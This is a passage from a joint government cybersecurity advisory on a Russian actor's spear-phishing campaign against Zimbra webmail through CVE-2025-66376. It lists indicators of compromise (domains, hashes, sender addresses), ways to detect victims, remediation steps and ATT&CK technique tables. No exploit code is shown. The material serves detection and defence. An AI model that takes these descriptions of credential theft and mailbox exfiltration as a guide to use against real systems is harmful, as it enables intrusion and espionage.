<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
